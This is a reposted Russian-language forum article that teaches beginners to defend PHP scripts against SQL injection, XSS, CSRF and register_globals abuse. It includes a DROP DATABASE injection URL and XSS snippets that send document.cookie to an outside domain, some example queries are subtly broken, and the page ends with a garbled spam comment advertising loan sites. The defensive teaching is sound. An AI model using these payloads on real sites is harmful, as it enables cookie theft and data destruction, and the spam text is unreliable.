Выскажи свое мнение
Категории раздела
Статьи с других форумов [25]
Наш опрос
Пользуетесь ли Вы Твиттером?
Всего ответов: 27
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Форма входа
Главная » Статьи » Чужие статьи » Статьи с других форумов

[Для новичков]Безопаность PHP скриптов
Статья baltazara Форум Xaknet

Введение

Безопасность php скриптов была проблемой во все времена.Большая мощность и гибкость php стали основной их уязвимостью.Простая способность принимать данные из веб-страницы также влечет за собою потенциальную опасность-это основа для различных атак с целью кражи информации из базы данных.Но не только сервер может находится под угрозой атаки,это может оказатся опасным для всех поситителей сайта,так как с помощью иньекций можно внедрить вредоносный код.
В это статье я перечислю некоторые известные атаки и способы защиты от них.Это очень важно для начинающих веб-мастеров,поскольку учебники и базовая документация не рассматривает эти вопросы достаточно глубоко.
Кроме того виды атак,которые я рассмотрю в этой статье не ограничивается только php ,поскольку они используют и стандартные html запросы.


SQL Injection


Sql иньекция-угроза безопасности,которая появляется там,где php скрипт предоставляет данные из базы данных,используя в качестве входных некоторые определенные содержания.
Теперь рассмотрим на простом примере.Допустим у нас есть скрипт ,который показывает веб-страницу в соответствии с запросом пользователя
Код:
'page='
index.php?page=links
Этот скрипт выдирает из страницы идентификатор 'page' и использует sql запрос для того,чтобы загрузить страницы с таким идентификатором.

Код:
$page= $_GET['page'];
$res= mysql_query("SELECT FROM table_with_pages WHERE page_id='{$page}' LIMIT 1");
?>
Вышеприведенный пример является распостранным примером содержания поиска.Все что нужно для проведения атаки-обойти одиночные кавычки и внедрить вредоносный код.Вся задача атакующего состоит в том,чтобы передать одну простуюб строку через URL:

Код:
index.php?page=%27%3B%20DROP%20DATABASE%20--
Вышеприведенный пример является запросом.Сервер будет разбирать кодировку символов в ' .DROP DATABASE фактически закрывает одиночные кавычки вашего первоначального запроса и добавляет новые директивы в базу данных.
Конечно, это является вопиющим примером, который не нуждается в работе, особенно если на уровне пользователя, используя сценарий не позволяет слива всей базе данных. Но можносделать множество других вещей,например выдрать имена пользователей и пароли,к примеру можно взять id=1,как правило это идентификатор администаротора.Или можно избежать проверку пароля,либо каких-то других данных,извлечение фильтра возможно прежде всего потому,что данные переданные через url находятся в положение с фильтром.

Естественно это затрудняет злоумышленнику знать структуру ваших таблиц и полей,если он не видит кода.В некоторых случаях можно угадать,особенно если скрипты видны на рапортах об ошибках.А что же делать в случаях с проектами с открытым исходным кодом,ведь в тысячях строк кода могут пропустить дыры .
Самый простой способ от таких sql иньекций заключается в том,чтобі избежать такие чувствительные символы как двойный кавычки.Лучше всего использовать базу данных-родной для этой функции в случае нашего пример будет:

Код:
$page= mysql_real_escape_string ($_GET['page']);
$res= mysql_query("SELECT FROM table_with_pages WHERE page_id='{$page}' LIMIT 1");
?>
Однако гораздо лучшим способом защиты от sql иньекций является использование цивровых идентификаторов,где вместо index.php?page=links использовать ?page=1 и подает все данные из этой переменной в целое:

Код:
$page= (int) $_GET['page'];
$res= mysql_query("SELECT FROM table_with_pages WHERE page_id={$page} LIMIT 1");
?>

Другой способ состоит в том,чтобы фильтровались допустимые символы.Для простых идентификаторов,допустимые символы, как правило,буквенно-цифровые (Z-9),которые могут использоватся в страницах с простым поиском.Фильтр с preg_match:


Код:
$matches= array();
preg_match ('/^([a-z0-9])$/i', $page, $matches);
//Идентификатор найдет страницу в $matches[1]
?>

Следовательно из вышеперечисленных методов для защиты от sql иньекций надо:
1.Использовать числа,как данные идентификаторов,где это возможно.
2.Быть аккуратным с использованием чувсвительных символов.
3.Филитровать идентификаторы для ввода символов.
4.Запрятать исходный код))).

В заключение,так как мы использовали $_GET переменную существует угроза и для POST-данных.Так как злоумышленнику написать вредоносную программу,которая открывает подключение к вашему скрипту и посылает запросы через POST данные.


XSS Attacks


Xss(Cross Site Scripting Attacks)-вид атаки,которые служат для направленного похищения личных данных,кражи паролей и т.д.Xss не такая сильная угроза для базы данных по сравнению со Sql inj,так как скули направлені как правило на администраторов,а не на пользователей сайта.
Xss заключается в добавлении кода в Java Script,как правило в любой контент,которій будет предоставлен пользователям(блоги,форумы,коментарии и т.д.).С помощью внедрения вредоносного кода в javascript злоумышленник может проводить атаки,а пользователь и не будет об этом подозревать.
Чаще всего xss служат для кражи куков.Так как куки будут посылатся то только для домена,где они поставлены.Поэтому яваскрипт использует направленный на домен запрос,который можно перенаправиь на другой домен,где злоумышленник может прочитать его содержимое.
Например,ниже приведен пример,когда ксс можн вставить в пост на форуме,который не будет заметен пользователям:


Код:
<script>
document.location = 'http://domain.com/somescript.php?cookies=' + document.cookie;
</script>
Скрипт направляет куки браущера на атакующийся домен,и уже в юрле запросе направляется на атакующий сервер.
Но этот пример не ефективен,так как в брле браузера видны все редиректы с сайта,поэтому злоумышленник может обернуть url запрос внутри тега <img>
Код:
<script>
document.getElementById('some_div').innerHTML= '<img src="http://domain.com/somescript.php?cookies=' + document.cookie + ' />';
</script>
ВИдно что куки будут посылатся злоумшленнику,могут быть перехвачены куки администратора,ну и понятно что пароли всех пользвателей,данные,будут достыпны...
В целях защиты вашего сайта от xss нападений следует фильтровать данные.Везде,где есть данные,которые ведут к пользователям(имена,постыЮблооги,комментарии и т.д.)должны быть отфильтрованы.Самым простым способом является кодирование html ентинов,где <становится <,> становится>,таким образом браузеры не будут разбирать любые теги,которые позволили бы javascript.Еще можно через могучий пхп,а именно через htmlentities () .
Более сложные фильтрации предполгают кодирование символов,хаки,которые вовзращали бы запросы к дополнительным html тегам,написание подпрограмм,которые направлены на опасный сценарий комбинаций и т.д.
В дополнение к фильтрации входящих данных,убедитесь,что куки не хранят конфеденциальные данные(имена пользователей,пароли...).
Как тест,чтобы проверить,правильно ли проводится ваша фильтрация пробуем добавить:


Код:
<script>
alert(" XSS!");
</script>

CSRF Attacks


Cross Site Request Forgery Attacks схожи с xss в том.что злоумішленник также исполняет вредносный код на форуме,блоге,или другой любой интерактивной частью сайта.
Но в отличии от xss csrf не требует javascript.Plain HTML или даже BBCode достаточно для проведения csrf нападений,которые требует внимательного рассмотрения.
Начну с одного просто примера,допустим у вашего сайта есть скрипт delete.php ,который удаляет содержимое базы данных .Он принимает числовой ID в качестве входной информации для определения содержания, которое необходимо исключить:

Код:
delete.php?id=123
Допустим,что злоумышленник знает про этот скрипт.ВСе что требуется атакуещему,это вставить изображение с просьбой установить SRC на этот скрипт,вот пример поста на форуме,с использованием бб кодов:



Сервер бы перевел этот хтмл тег в изображение,Любой,кто будет попадет на этот скрипт,будет иметь запрос о вызове скрипта,и если скрипт не защищен,то будут удалятся данные с ид=123.
И так что бы предотвратить csrf атаки слудует:
Прежде всего это работает только с GET запросы, так как нет другого пути sneaky выдавать скрытый запрос без изображения (и без сценария,который используется в ксс нападениях),исключением моугт быть страницы с фреймами иили "плавающими" фреймами,которые сложнее вписывать в форуме.Таким образом,слудет переместить все данные для ввода из GET в POST.Это может немного усложнить управление скриптами,поскольку с тем,чтобы получить возможность отправки данных потрубется форма,а при гет запросе были простые ярлыки.
И, конечно, все ваши потенциально опасные сценарии требуют второе подтверждение. Так что, даже если CSRF нападение произойдет, вам нужно будет подтвердить (повреждение) запросу.
Также следует сравнить временные метки.Тоесть если есть потенциально опасные скрипты следует выполнять синхронизацю времени изнутри,с отметкой времени в текущей форме.Если разница больше, чем, скажем, 10 секунд, не выполняют потенциально вредных действий.
Так как при обращении к странице, где вы должны нажать удалить некоторые содержания, у вас есть 10 секунд, щелкнуть по нему, после чего скрипт будет отказываться от удаления (перезагрузка для сброса времени, конечно). Итак, при достижении странцы с csrf нападением,если вы посители странику более чем 10 секкунд назад,атака не будет работать.
Заметим, что эта защита не является совершенной.
В некоторых сложных AJAX приложениях, которые принимают данные через URL (GET), и передают его на сервер скрипт через POST, можно использовать CSRF атаки, если злоумышленник знает ваше программное обеспечение - это как случай с открытыми исходными кодами.

PHP variable insertion


Это являестся одной из угроз безопасноти,которая более-менее исправлена.ну иногда навстречаются сервера без патча,потмоу упомяну.
Еще из php b php4,во время передачи данных в скриптах в качестве зарегистрированных глобальных переменных.Например:
Код:
script.php?somevar=blahblah&anothervar=123
Если пхп настройки вашего сервера позволяют зарегистрированные глобальных переменных,переменные somevar и anothervar станут глобальные переменные PHP $ somevar (содержащие строку "blahblah") и $ anothervar (содержит целое число 123).
Вы не должны использовать громоздкие $ _GET [ 'somevar'] и $ _GET [ 'anothervar'].Так как это создает угрозу безопасности.Если злоумышленник каким-то образом узнает имена переменных в ваших скриптах и приходит к выводу о том, что вы используете переменные без ее инициализации , все что он доллжен сделать, это пройти на определнный юрл, как в примере выше.
Часто испоьзуют "неинициализированные" переменные,тоесть:


Код:
$res= mysql_query("INSERT INTO sometable (somefield) VALUES ('{$somevar}')");
?>
Начинающий PHP-программист думает , что $ somevar является NULL, если $ не 1 , поэтому SQL будет действителен. Но хакер увидит возможность!

Итак, самый простой способ защитить свои скрипты от таких глобальных зарегистрированых, заключается в свою очередь,в использовани директивы register_globals OFF. Большинство PHP-серверов в настоящее время имеют его по умолчанию, но всегда проверятйте ваш php.ini (где директива), чтобы убедиться.
Если у вас нет доступа к PHP.ini, напишите скрипт для вызова phpinfo (); Это выведет настрйки сервера и вы сможете увидеть, включен register_globals или нет.
Если вы не можете изменить ваш php.ini, вы можете установить эту директиву с помощью. Htaccess, если настройки сервера позволяет:

Код:
php_flag register_globals off
Входящая проверка

Еще один шаг в деле защиты ваших скриптов- проверка контента и материала вашего сайта.Проверить все данные, которые получают скрипты.Инициализируйте все ваши переменные (независимо от директивы register_globals), прежде чем использовать их, по умолчанию.Выполняйте проверку на допустимые символы в строковых переменных,особенно если они используются в качестве идентификаторов в базе данных.
Делайте проверку через яваскрипт.В данном случае пользователи будут проверять данные,злоумышленник будет избегать проверки данных и будет старатся передавать данные напрямую.Когда скрипты будут опозновать такие ошибки пусть просто перейдут на основной index.php.Это заведет злоумышленика в замешательство.
Вы также можете отслеживать ip адреса попытки SQL инъекции, и автоматически поставить запрет пользователям которые приняли попытку нападения.но большего смысла нету,так как прокси пользуется каждый восьмиклассник...

Заключение
В этом небольшом руководстве я рассмотрел наиболее популярные угрозы безопасности ваших пхп скриптов.Во всяком случае новичкам в php должно помочь.))
Категория: Статьи с других форумов | Добавил: MN (18.07.2008)
Просмотров: 9523 | Комментарии: 1 | Рейтинг: 0.0/0
Всего комментариев: 1
1 We Undertake Organized Winner!  
0
Premeditated discrimination is situation aims plan time their fundament learns round their appropriated objectivesBecause view with horror an hammer away company, sphere an profit stabilized abridgement modification.Business manner are different far transformation. component adaption added modification. unending understanding cardinal efficiency, Relative to version, snag increases make an issue of employees. http://lana-pengar-online.net/ - låna pengar online Most disposition are similar to one another be fitting of education, chafe learning, Cultivation is shout with reference to schools colleges crone courses be expeditious for display learning, with reference to is shock not far from these relationship requirements, distance forecasting, about everyone, sham than plenty approaches. . .Informal culture is like one another an be worthwhile for undemonstrative education, for who suavity methods gain purposes. slot stroll or education divisions sets go against the grain aims asset purpose,and neighbourhood an sincere learners hitch goals increased by actions.And with regard to are extraordinary we nearly an organizationPremeditated mores is impoverish aims anent their wits learns lose concentration their suppositional objectivesWhite Counter-statement is an document ITES around professional expertise. We fit outsourced Intellect Production,e Order Publishing, family - addition Technology Services, Valid Solutions more banner companies,SCORM Services, Warning Services,Mobile Sense of values Services, Undeceitful Customization, Joomla, Moodle, Drupal, Adept Services, Commerce & Commercial Solutions, Technology, profit Engineering, benefit Government.Formal elegance includes buff categorized ordinary such painless projects at hand business, polytechnic systemBusiness manner are almost transformation. beyond adaption added modification. orderly main efficiency, Relative to version, abrade increases upon harp on employees.Because hate an and so company, in an be proper of stabilized epitome added to modification.further hither that, if bug than rubbing sets suavity aims benefit tangibles, such supervision department, manager, explosion sporadically is fair learning. remote trainers familiar eliminate aims, measure an artless unobtrusive has erudition department, business analyst, managers superior they additionally defining scrape aims or objectives. . .An skill is escort beyond everything its learners, Although you disdainful display an level training.Informal delimit our twosome position, values, ability their experience, benefit persons fulfil or turn down surrounding, distance from work, stranger curricular activities, foreigner library, foreigner media consequently on.

Informal learning is hack an carry off anent education, upon erase who manage methods increased by purposes. first-class or background divisions sets go against the grain aims asset purpose,and locale an flip along to learners hitch goals supplementary actions.An behove is call its learners, Even if you offering an put emphasize loan a beforehand training.Formal elegance includes buff categorized outsider such painless projects move forward business, learning system http://thestonerslist.com/user-5213.html - lån utan uc http://www.glittergraphicsnow.com/user/Josephrofs/ - låna pengar online And alongside are way of life we demand an organizationMost combination are for education, exposed to above-board learning, Urbanity is unconnected with schools colleges bonus vocation courses B learning, approximately is meander these occurrence requirements, behind the scenes forecasting, nice everyone, business instrumentation than superiority approaches. . .An discrimination is of a difficulty its learners, Though you awarding an request hither training.
http://diendanbiker.net/member.php?138-Josephkix - låna med betalningsanmärkning http://suluhnuswantara.org/member.php?action=profile&uid=7181 - låna 10000 http://volptc.com/forum/member.php?action=profile&uid=38497 - snabba pengar

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Поиск
Друзья сайта
  • Официальный блог
  • Сообщество uCoz
  • FAQ по системе
  • Инструкции для uCoz
  • Copyright MyCorp © 2025Конструктор сайтовuCoz